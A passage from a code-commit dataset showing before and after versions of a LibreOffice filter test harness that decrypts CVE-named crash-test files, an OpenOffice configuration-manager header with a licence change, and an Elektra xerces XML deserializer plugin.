false;\n\n            sal_Int32 nLastSlash = sURL.lastIndexOf('\/');\n\n            if ((nLastSlash != -1) && (nLastSlash+1 < sURL.getLength()))\n            {\n                \/\/ignore .files\n                if (sURL[nLastSlash+1] == '.')\n                    continue;\n\n                if (\n                    (sURL.match(\"BID\", nLastSlash+1)) ||\n                    (sURL.match(\"CVE\", nLastSlash+1)) ||\n                    (sURL.match(\"EDB\", nLastSlash+1))\n                   )\n                {\n                    bEncrypted = true;\n                }\n            }\n\n            OString aRes(OUStringToOString(sURL,\n                osl_getThreadTextEncoding()));\n\n            if (bEncrypted)\n            {\n                CPPUNIT_ASSERT(osl::FileBase::E_None == osl::FileBase::createTempFile(NULL, NULL, &sTmpFile));\n                decode(sURL, sTmpFile);\n                sURL = sTmpFile;\n            }\n\n            \/\/output name early, so in the case of a hang, the name of\n            \/\/the hanging input file is visible\n            fprintf(stderr, \"%s,\", aRes.getStr());\n            sal_uInt32 nStartTime = osl_getGlobalTimer();\n            bool bRes;\n            if (!bExport)\n                bRes = load(rFilter, sURL, rUserData, nFilterFlags,\n                            nClipboardID, nFilterVersion);\n            else\n                bRes = save(rFilter, sURL, rUserData, nFilterFlags,\n                            nClipboardID, nFilterVersion);\n            sal_uInt32 nEndTime = osl_getGlobalTimer();\n\n            if (bEncrypted)\n                CPPUNIT_ASSERT_EQUAL(osl::FileBase::E_None, osl::File::remove(sTmpFile));\n\n            fprintf(stderr, \"%s,%\" SAL_PRIuUINT32\"\\n\",\n                bRes?\"Pass\":\"Fail\",nEndTime-nStartTime);\n            if (nExpected == test::indeterminate)\n                continue;\n            CPPUNIT_ASSERT_MESSAGE(aRes.getStr(), bRes == (nExpected == test::pass));\n        }\n    }\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aDir.close());\n}\n\nvoid FiltersTest::testDir(const OUString &rFilter,\n    const OUString &rURL, const OUString &rUserData,\n    unsigned int nFilterFlags, unsigned int nClipboardID,\n    unsigned int nFilterVersion, bool bExport)\n{\n    fprintf(stderr, \"File tested,Test Result,Execution tools::Time (ms)\\n\");\n    recursiveScan(test::pass, rFilter,\n        rURL + \"pass\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n    recursiveScan(test::fail, rFilter,\n        rURL + \"fail\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n    recursiveScan(test::indeterminate, rFilter,\n        rURL + \"indeterminate\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>tweak the assert message so its readable when an errors happens<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <unotest\/filters-test.hxx>\n#include <osl\/file.hxx>\n#include <osl\/thread.h>\n#include <rtl\/cipher.h>\n\n#include \"cppunit\/TestAssert.h\"\n\nnamespace test {\n\nvoid decode(const OUString& rIn, const OUString &rOut)\n{\n    rtlCipher cipher = rtl_cipher_create(rtl_Cipher_AlgorithmARCFOUR, rtl_Cipher_ModeStream);\n    CPPUNIT_ASSERT_MESSAGE(\"cipher creation failed\", cipher != 0);\n\n    \/\/mcrypt --bare -a arcfour -o hex -k 435645 -s 3\n    const sal_uInt8 aKey[3] = {'C', 'V', 'E'};\n\n    rtlCipherError result = rtl_cipher_init(cipher, rtl_Cipher_DirectionDecode, aKey, SAL_N_ELEMENTS(aKey), 0, 0);\n\n    CPPUNIT_ASSERT_MESSAGE(\"cipher init failed\", result == rtl_Cipher_E_None);\n\n    osl::File aIn(rIn);\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aIn.open(osl_File_OpenFlag_Read));\n\n    osl::File aOut(rOut);\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aOut.open(osl_File_OpenFlag_Write));\n\n    sal_uInt8 in[8192];\n    sal_uInt8 out[8192];\n    sal_uInt64 nBytesRead, nBytesWritten;\n    while(true)\n    {\n        CPPUNIT_ASSERT(osl::FileBase::E_None == aIn.read(in, sizeof(in), nBytesRead));\n        if (!nBytesRead)\n            break;\n        CPPUNIT_ASSERT(rtl_Cipher_E_None == rtl_cipher_decode(cipher, in, nBytesRead, out, sizeof(out)));\n        CPPUNIT_ASSERT(osl::FileBase::E_None == aOut.write(out, nBytesRead, nBytesWritten));\n        CPPUNIT_ASSERT(nBytesRead == nBytesWritten);\n    }\n\n    rtl_cipher_destroy(cipher);\n}\n\nvoid FiltersTest::recursiveScan(filterStatus nExpected,\n    const OUString &rFilter, const OUString &rURL,\n    const OUString &rUserData, unsigned int nFilterFlags,\n    unsigned int nClipboardID, unsigned int nFilterVersion, bool bExport)\n{\n    osl::Directory aDir(rURL);\n\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aDir.open());\n    osl::DirectoryItem aItem;\n    osl::FileStatus aFileStatus(osl_FileStatus_Mask_FileURL|osl_FileStatus_Mask_Type);\n    while (aDir.getNextItem(aItem) == osl::FileBase::E_None)\n    {\n        aItem.getFileStatus(aFileStatus);\n        OUString sURL = aFileStatus.getFileURL();\n        if (aFileStatus.getFileType() == osl::FileStatus::Directory)\n        {\n            recursiveScan(nExpected, rFilter, sURL, rUserData,\n                nFilterFlags, nClipboardID, nFilterVersion, bExport);\n        }\n        else\n        {\n            OUString sTmpFile;\n            bool bEncrypted = false;\n\n            sal_Int32 nLastSlash = sURL.lastIndexOf('\/');\n\n            if ((nLastSlash != -1) && (nLastSlash+1 < sURL.getLength()))\n            {\n                \/\/ignore .files\n                if (sURL[nLastSlash+1] == '.')\n                    continue;\n\n                if (\n                    (sURL.match(\"BID\", nLastSlash+1)) ||\n                    (sURL.match(\"CVE\", nLastSlash+1)) ||\n                    (sURL.match(\"EDB\", nLastSlash+1))\n                   )\n                {\n                    bEncrypted = true;\n                }\n            }\n\n            OString aRes(OUStringToOString(sURL,\n                osl_getThreadTextEncoding()));\n\n            if (bEncrypted)\n            {\n                CPPUNIT_ASSERT(osl::FileBase::E_None == osl::FileBase::createTempFile(NULL, NULL, &sTmpFile));\n                decode(sURL, sTmpFile);\n                sURL = sTmpFile;\n            }\n\n            \/\/output name early, so in the case of a hang, the name of\n            \/\/the hanging input file is visible\n            fprintf(stderr, \"%s,\", aRes.getStr());\n            sal_uInt32 nStartTime = osl_getGlobalTimer();\n            bool bRes;\n            if (!bExport)\n                bRes = load(rFilter, sURL, rUserData, nFilterFlags,\n                            nClipboardID, nFilterVersion);\n            else\n                bRes = save(rFilter, sURL, rUserData, nFilterFlags,\n                            nClipboardID, nFilterVersion);\n            sal_uInt32 nEndTime = osl_getGlobalTimer();\n\n            if (bEncrypted)\n                CPPUNIT_ASSERT_EQUAL(osl::FileBase::E_None, osl::File::remove(sTmpFile));\n\n            fprintf(stderr, \"%s,%\" SAL_PRIuUINT32\"\\n\",\n                bRes?\"Pass\":\"Fail\",nEndTime-nStartTime);\n            if (nExpected == test::indeterminate)\n                continue;\n            filterStatus nResult = bRes ? test::pass : test::fail;\n            CPPUNIT_ASSERT_MESSAGE(aRes.getStr(), nResult == nExpected);\n        }\n    }\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aDir.close());\n}\n\nvoid FiltersTest::testDir(const OUString &rFilter,\n    const OUString &rURL, const OUString &rUserData,\n    unsigned int nFilterFlags, unsigned int nClipboardID,\n    unsigned int nFilterVersion, bool bExport)\n{\n    fprintf(stderr, \"File tested,Test Result,Execution tools::Time (ms)\\n\");\n    recursiveScan(test::pass, rFilter,\n        rURL + \"pass\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n    recursiveScan(test::fail, rFilter,\n        rURL + \"fail\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n    recursiveScan(test::indeterminate, rFilter,\n        rURL + \"indeterminate\",\n        rUserData, nFilterFlags, nClipboardID, nFilterVersion, bExport);\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: configmgr.hxx,v $\n *\n *  $Revision: 1.18 $\n *\n *  last change: $Author: kz $ $Date: 2005-07-12 14:22:42 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _UTL_CONFIGMGR_HXX_\n#define _UTL_CONFIGMGR_HXX_\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include <com\/sun\/star\/uno\/Any.hxx>\n#endif\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n#ifndef INCLUDED_UNOTOOLSDLLAPI_H\n#include \"unotools\/unotoolsdllapi.h\"\n#endif\n\n\/\/-----------------------------------------------------------------------------\nnamespace com{ namespace sun{ namespace star{\n    namespace lang{\n        class XMultiServiceFactory;\n    }\n    namespace container{\n        class XHierarchicalNameAccess;\n    }\n}}}\n\n\/\/-----------------------------------------------------------------------------\nnamespace utl\n{\n    struct ConfigMgr_Impl;\n    class ConfigItem;\n    class UNOTOOLS_DLLPUBLIC ConfigManager\n    {\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                                xConfigurationProvider;\n            ConfigMgr_Impl*     pMgrImpl;\n\n            static  ConfigManager*  pConfigManager;\n        public:\n            ConfigManager();\n            ConfigManager(com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory > xConfigProvider);\n            ~ConfigManager();\n\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                GetConfigurationProvider();\n\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                GetLocalConfigurationProvider();\n\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                AddConfigItem(utl::ConfigItem& rCfgItem);\n\n            void RegisterConfigItem(utl::ConfigItem& rCfgItem);\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                AcquireTree(utl::ConfigItem& rCfgItem);\n\n\n            void RemoveConfigItem(utl::ConfigItem& rCfgItem);\n\n            void StoreConfigItems();\n\n            static ConfigManager*           GetConfigManager();\n            static void                     RemoveConfigManager();\n            static rtl::OUString            GetConfigBaseURL();\n\n            enum ConfigProperty\n            {\n                INSTALLPATH,        \/\/ deprecated. don't use\n                LOCALE,\n                OFFICEINSTALL,      \/\/ deprecated. don't use\n                USERINSTALLURL,     \/\/ deprecated. don't use\n                OFFICEINSTALLURL,   \/\/ deprecated. don't use\n                PRODUCTNAME,\n                PRODUCTVERSION,\n                PRODUCTEXTENSION,\n                DEFAULTCURRENCY,\n                PRODUCTXMLFILEFORMATNAME,\n                PRODUCTXMLFILEFORMATVERSION,\n                WRITERCOMPATIBILITYVERSIONOOO11\n            };\n            \/\/direct readonly access to some special configuration elements\n            static com::sun::star::uno::Any GetDirectConfigProperty(ConfigProperty eProp);\n\n            sal_Bool        IsLocalConfigProvider();\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                GetHierarchyAccess(const rtl::OUString& rFullPath);\n            com::sun::star::uno::Any GetLocalProperty(const rtl::OUString& rProperty);\n            void PutLocalProperty(const rtl::OUString& , const com::sun::star::uno::Any& rValue);\n\n    };\n}\/\/namespace utl\n#endif \/\/_UTL_CONFIGMGR_HXX_\n<commit_msg>INTEGRATION: CWS ooo19126 (1.18.20); FILE MERGED 2005\/09\/05 14:00:50 rt 1.18.20.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: configmgr.hxx,v $\n *\n *  $Revision: 1.19 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 09:28:42 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _UTL_CONFIGMGR_HXX_\n#define _UTL_CONFIGMGR_HXX_\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include <com\/sun\/star\/uno\/Any.hxx>\n#endif\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n#ifndef INCLUDED_UNOTOOLSDLLAPI_H\n#include \"unotools\/unotoolsdllapi.h\"\n#endif\n\n\/\/-----------------------------------------------------------------------------\nnamespace com{ namespace sun{ namespace star{\n    namespace lang{\n        class XMultiServiceFactory;\n    }\n    namespace container{\n        class XHierarchicalNameAccess;\n    }\n}}}\n\n\/\/-----------------------------------------------------------------------------\nnamespace utl\n{\n    struct ConfigMgr_Impl;\n    class ConfigItem;\n    class UNOTOOLS_DLLPUBLIC ConfigManager\n    {\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                                xConfigurationProvider;\n            ConfigMgr_Impl*     pMgrImpl;\n\n            static  ConfigManager*  pConfigManager;\n        public:\n            ConfigManager();\n            ConfigManager(com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory > xConfigProvider);\n            ~ConfigManager();\n\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                GetConfigurationProvider();\n\n            ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >\n                GetLocalConfigurationProvider();\n\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                AddConfigItem(utl::ConfigItem& rCfgItem);\n\n            void RegisterConfigItem(utl::ConfigItem& rCfgItem);\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                AcquireTree(utl::ConfigItem& rCfgItem);\n\n\n            void RemoveConfigItem(utl::ConfigItem& rCfgItem);\n\n            void StoreConfigItems();\n\n            static ConfigManager*           GetConfigManager();\n            static void                     RemoveConfigManager();\n            static rtl::OUString            GetConfigBaseURL();\n\n            enum ConfigProperty\n            {\n                INSTALLPATH,        \/\/ deprecated. don't use\n                LOCALE,\n                OFFICEINSTALL,      \/\/ deprecated. don't use\n                USERINSTALLURL,     \/\/ deprecated. don't use\n                OFFICEINSTALLURL,   \/\/ deprecated. don't use\n                PRODUCTNAME,\n                PRODUCTVERSION,\n                PRODUCTEXTENSION,\n                DEFAULTCURRENCY,\n                PRODUCTXMLFILEFORMATNAME,\n                PRODUCTXMLFILEFORMATVERSION,\n                WRITERCOMPATIBILITYVERSIONOOO11\n            };\n            \/\/direct readonly access to some special configuration elements\n            static com::sun::star::uno::Any GetDirectConfigProperty(ConfigProperty eProp);\n\n            sal_Bool        IsLocalConfigProvider();\n            com::sun::star::uno::Reference< com::sun::star::container::XHierarchicalNameAccess>\n                GetHierarchyAccess(const rtl::OUString& rFullPath);\n            com::sun::star::uno::Any GetLocalProperty(const rtl::OUString& rProperty);\n            void PutLocalProperty(const rtl::OUString& , const com::sun::star::uno::Any& rValue);\n\n    };\n}\/\/namespace utl\n#endif \/\/_UTL_CONFIGMGR_HXX_\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file\n *\n * @brief deserialization implementation for xerces plugin\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include \"deserializer.hpp\"\n#include \"util.hpp\"\n\n#include <xercesc\/dom\/DOM.hpp>\n#include <xercesc\/dom\/DOMAttr.hpp>\n#include <xercesc\/dom\/DOMDocument.hpp>\n#include <xercesc\/dom\/DOMImplementation.hpp>\n#include <xercesc\/dom\/DOMNode.hpp>\n#include <xercesc\/parsers\/XercesDOMParser.hpp>\n\n#include <algorithm>\n#include <iostream>\n#include <locale>\n#include <map>\n\n#include <kdbease.h>\n#include <kdblogger.h>\n#include <key.hpp>\n\nXERCES_CPP_NAMESPACE_USE\nusing namespace std;\nusing namespace kdb;\nusing namespace xerces;\n\nnamespace\n{\n\nXercesPtr<DOMDocument> doc2dom (std::string const & src)\n{\n\tXercesDOMParser parser;\n\tparser.setValidationScheme (XercesDOMParser::Val_Auto);\n\n\tparser.parse (asXMLCh (src));\n\treturn XercesPtr<DOMDocument> (parser.adoptDocument ());\n}\n\nstring trim (string const & str)\n{\n\tstringstream ss (str);\n\tstring to;\n\tstring trimmed;\n\n\twhile (getline (ss, to, '\\n'))\n\t{\n\t\t\/\/ Remove whitespace lines, most likely caused by pretty printing\n\t\tif (!all_of (to.begin (), to.end (), [](char c) { return isspace (c, locale ()); })) trimmed += to;\n\t}\n\n\treturn trimmed;\n}\n\nstring getElementText (DOMNode const * parent)\n{\n\tstring str;\n\n\tfor (auto child = parent->getFirstChild (); child != NULL; child = child->getNextSibling ())\n\t{\n\t\tif (DOMNode::NodeType::TEXT_NODE == child->getNodeType () || DOMNode::NodeType::CDATA_SECTION_NODE == child->getNodeType ())\n\t\t{\n\t\t\tDOMText * data = dynamic_cast<DOMText *> (child);\n\t\t\tif (!data->getIsElementContentWhitespace ()) str += toStr (data->getData ());\n\t\t}\n\t}\n\n\t\/\/ Trim whitespace that is most likely due to pretty printing\n\treturn trim (str);\n}\n\nKey newNodeKey (Key const & parent, DOMNode const * node)\n{\n\tKey childKey (parent.getFullName (), KEY_END);\n\tconst string keyName = toStr (node->getNodeName ());\n\tchildKey.addBaseName (keyName);\n\treturn childKey;\n}\n\nvoid node2key (DOMNode const * n, Key const & parent, KeySet const & ks, Key & current)\n{\n\tconst string keyName = toStr (n->getNodeName ());\n\tELEKTRA_LOG_DEBUG (\"Encountered Element: %s with parent %s\", keyName.c_str (), current.getFullName ().c_str ());\n\n\tif (!ks.size ())\n\t{ \/\/ we map the parent key to the xml root element\n\t\t\/\/ preserve the original name if it is different\n\t\tauto parentName = parent.rbegin ();\n\t\tif (parentName != parent.rend () && (*parentName) != keyName)\n\t\t{\n\t\t\tELEKTRA_LOG_DEBUG (\"parent name %s differs from root element name %s\", (*parentName).c_str (), keyName.c_str ());\n\t\t\tcurrent.setMeta (ELEKTRA_XERCES_ORIGINAL_ROOT_NAME, keyName);\n\t\t}\n\t}\n\telse\n\t\tcurrent.addBaseName (keyName);\n\n\tconst string text = getElementText (n);\n\tcurrent.set<string> (text);\n\n\tif (!current.isValid ()) throw XercesPluginException (\"Given keyset contains invalid keys to serialize\");\n\n\tELEKTRA_LOG_DEBUG (\"new parent is %s with value %s\", current.getFullName ().c_str (), current.get<string> ().c_str ());\n\n\tif (n->hasAttributes ())\n\t{\n\t\t\/\/ get all the attributes of the node\n\t\tDOMNamedNodeMap * pAttributes = n->getAttributes ();\n\t\tconst XMLSize_t nSize = pAttributes->getLength ();\n\t\tELEKTRA_LOG_DEBUG (\"\\tAttributes\");\n\t\tfor (XMLSize_t i = 0; i < nSize; ++i)\n\t\t{\n\t\t\tDOMAttr * pAttributeNode = dynamic_cast<DOMAttr *> (pAttributes->item (i));\n\t\t\tELEKTRA_LOG_DEBUG (\"\\t%s=%s\", asCStr (pAttributeNode->getName ()), asCStr (pAttributeNode->getValue ()));\n\t\t\tcurrent.setMeta (toStr (pAttributeNode->getName ()), toStr (pAttributeNode->getValue ()));\n\t\t}\n\t}\n}\n\nvoid analyzeMultipleElements (DOMNode const * n, Key const & current, map<Key, bool> & arrays)\n{\n\tfor (auto child = n->getFirstChild (); child != 0; child = child->getNextSibling ())\n\t{\n\t\tKey childKey = newNodeKey (current, child);\n\n\t\tauto it = arrays.find (childKey);\n\t\tif (it != arrays.end ())\n\t\t{\n\t\t\tif (!it->second)\n\t\t\t{\n\t\t\t\tELEKTRA_LOG_DEBUG (\"There are multiple elements of %s, mapping this as an array\",\n\t\t\t\t\t\t   childKey.getFullName ().c_str ());\n\t\t\t\tarrays[childKey] = true;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tarrays[childKey] = false;\n\t}\n}\n\nKey newArrayKey (Key const & arrayKey, KeySet & ks)\n{\n\tKeySet result (elektraArrayGet (arrayKey.getKey (), ks.getKeySet ()));\n\tif (!result.size ())\n\t{\n\t\tKey arrayBaseKey = arrayKey.dup ();\n\t\tarrayBaseKey.addBaseName (\"#\");\n\t\tresult.append (arrayBaseKey);\n\t}\n\treturn elektraArrayGetNextKey (result.getKeySet ());\n}\n\nvoid dom2keyset (DOMNode const * n, Key const & parent, KeySet & ks, map<Key, bool> & arrays)\n{\n\tif (n)\n\t{\n\t\tKey current (parent.getFullName (), KEY_END);\n\n\t\tif (n->getNodeType () == DOMNode::ELEMENT_NODE)\n\t\t{\n\t\t\tnode2key (n, parent, ks, current);\n\n\t\t\tauto it = arrays.find (current);\n\t\t\tconst bool array = it != arrays.end () && it->second;\n\t\t\t\/\/ Multiple elements with that name, map as an array\n\t\t\tif (array) current.addBaseName (newArrayKey (current, ks).getBaseName ());\n\n\t\t\t\/\/ Only add keys with a value, attributes or leafs or the root to preserve the original name or array keys\n\t\t\tif (n->hasAttributes () || !current.getString ().empty () || !n->getFirstChild () || !ks.size () || array)\n\t\t\t{\n\t\t\t\tELEKTRA_LOG_DEBUG (\"adding %s\", current.getFullName ().c_str ());\n\t\t\t\tks.append (current);\n\t\t\t}\n\t\t\telse\n\t\t\t\tELEKTRA_LOG_DEBUG (\"skipping %s\", current.getFullName ().c_str ());\n\t\t}\n\t\t\/\/ the first level cannot have more children so its enough to check that here\n\t\tanalyzeMultipleElements (n, current, arrays);\n\t\tfor (auto child = n->getFirstChild (); child != 0; child = child->getNextSibling ())\n\t\t\tdom2keyset (child, current, ks, arrays);\n\t}\n}\n\n} \/\/ namespace\n\nvoid xerces::deserialize (Key const & parentKey, KeySet & ks)\n{\n\tif (!parentKey.isValid ()) throw XercesPluginException (\"Parent key is invalid\");\n\tif (parentKey.get<string> ().empty ()) throw XercesPluginException (\"No source file specified as key value\");\n\n\tELEKTRA_LOG_DEBUG (\"deserializing relative to %s from file %s\", parentKey.getFullName ().c_str (),\n\t\t\t   parentKey.get<string> ().c_str ());\n\tauto document = doc2dom (parentKey.get<string> ());\n\tmap<Key, bool> arrays;\n\tif (document) dom2keyset (document->getDocumentElement (), parentKey, ks, arrays);\n}\n<commit_msg>Xerces: Fix warning reported by GCC<commit_after>\/**\n * @file\n *\n * @brief deserialization implementation for xerces plugin\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include \"deserializer.hpp\"\n#include \"util.hpp\"\n\n#include <xercesc\/dom\/DOM.hpp>\n#include <xercesc\/dom\/DOMAttr.hpp>\n#include <xercesc\/dom\/DOMDocument.hpp>\n#include <xercesc\/dom\/DOMImplementation.hpp>\n#include <xercesc\/dom\/DOMNode.hpp>\n#include <xercesc\/parsers\/XercesDOMParser.hpp>\n\n#include <algorithm>\n#include <iostream>\n#include <locale>\n#include <map>\n\n#include <kdbease.h>\n#include <kdblogger.h>\n#include <key.hpp>\n\nXERCES_CPP_NAMESPACE_USE\nusing namespace std;\nusing namespace kdb;\nusing namespace xerces;\n\nnamespace\n{\n\nXercesPtr<DOMDocument> doc2dom (std::string const & src)\n{\n\tXercesDOMParser parser;\n\tparser.setValidationScheme (XercesDOMParser::Val_Auto);\n\n\tparser.parse (asXMLCh (src));\n\treturn XercesPtr<DOMDocument> (parser.adoptDocument ());\n}\n\nstring trim (string const & str)\n{\n\tstringstream ss (str);\n\tstring to;\n\tstring trimmed;\n\n\twhile (getline (ss, to, '\\n'))\n\t{\n\t\t\/\/ Remove whitespace lines, most likely caused by pretty printing\n\t\tif (!all_of (to.begin (), to.end (), [](char c) { return isspace (c, locale ()); })) trimmed += to;\n\t}\n\n\treturn trimmed;\n}\n\nstring getElementText (DOMNode const * parent)\n{\n\tstring str;\n\n\tfor (auto child = parent->getFirstChild (); child != NULL; child = child->getNextSibling ())\n\t{\n\t\tif (DOMNode::NodeType::TEXT_NODE == child->getNodeType () || DOMNode::NodeType::CDATA_SECTION_NODE == child->getNodeType ())\n\t\t{\n\t\t\tDOMText * data = dynamic_cast<DOMText *> (child);\n\t\t\tif (!data->getIsElementContentWhitespace ()) str += toStr (data->getData ());\n\t\t}\n\t}\n\n\t\/\/ Trim whitespace that is most likely due to pretty printing\n\treturn trim (str);\n}\n\nKey newNodeKey (Key const & parent, DOMNode const * node)\n{\n\tKey childKey (parent.getFullName (), KEY_END);\n\tconst string keyName = toStr (node->getNodeName ());\n\tchildKey.addBaseName (keyName);\n\treturn childKey;\n}\n\nvoid node2key (DOMNode const * n, Key const & parent, KeySet const & ks, Key & current)\n{\n\tconst string keyName = toStr (n->getNodeName ());\n\tELEKTRA_LOG_DEBUG (\"Encountered Element: %s with parent %s\", keyName.c_str (), current.getFullName ().c_str ());\n\n\tif (!ks.size ())\n\t{ \/\/ we map the parent key to the xml root element\n\t\t\/\/ preserve the original name if it is different\n\t\tauto parentName = parent.rbegin ();\n\t\tif (parentName != parent.rend () && (*parentName) != keyName)\n\t\t{\n\t\t\tELEKTRA_LOG_DEBUG (\"parent name %s differs from root element name %s\", (*parentName).c_str (), keyName.c_str ());\n\t\t\tcurrent.setMeta (ELEKTRA_XERCES_ORIGINAL_ROOT_NAME, keyName);\n\t\t}\n\t}\n\telse\n\t\tcurrent.addBaseName (keyName);\n\n\tconst string text = getElementText (n);\n\tcurrent.set<string> (text);\n\n\tif (!current.isValid ()) throw XercesPluginException (\"Given keyset contains invalid keys to serialize\");\n\n\tELEKTRA_LOG_DEBUG (\"new parent is %s with value %s\", current.getFullName ().c_str (), current.get<string> ().c_str ());\n\n\tif (n->hasAttributes ())\n\t{\n\t\t\/\/ get all the attributes of the node\n\t\tDOMNamedNodeMap * pAttributes = n->getAttributes ();\n\t\tconst XMLSize_t nSize = pAttributes->getLength ();\n\t\tELEKTRA_LOG_DEBUG (\"\\tAttributes\");\n\t\tfor (XMLSize_t i = 0; i < nSize; ++i)\n\t\t{\n\t\t\tDOMAttr * pAttributeNode = dynamic_cast<DOMAttr *> (pAttributes->item (i));\n\t\t\tELEKTRA_LOG_DEBUG (\"\\t%s=%s\", asCStr (pAttributeNode->getName ()), asCStr (pAttributeNode->getValue ()));\n\t\t\tcurrent.setMeta (toStr (pAttributeNode->getName ()), toStr (pAttributeNode->getValue ()));\n\t\t}\n\t}\n}\n\nvoid analyzeMultipleElements (DOMNode const * n, Key const & current, map<Key, bool> & arrays)\n{\n\tfor (auto child = n->getFirstChild (); child != 0; child = child->getNextSibling ())\n\t{\n\t\tKey childKey = newNodeKey (current, child);\n\n\t\tauto it = arrays.find (childKey);\n\t\tif (it != arrays.end ())\n\t\t{\n\t\t\tif (!it->second)\n\t\t\t{\n\t\t\t\tELEKTRA_LOG_DEBUG (\"There are multiple elements of %s, mapping this as an array\",\n\t\t\t\t\t\t   childKey.getFullName ().c_str ());\n\t\t\t\tarrays[childKey] = true;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tarrays[childKey] = false;\n\t}\n}\n\nKey newArrayKey (Key const & arrayKey, 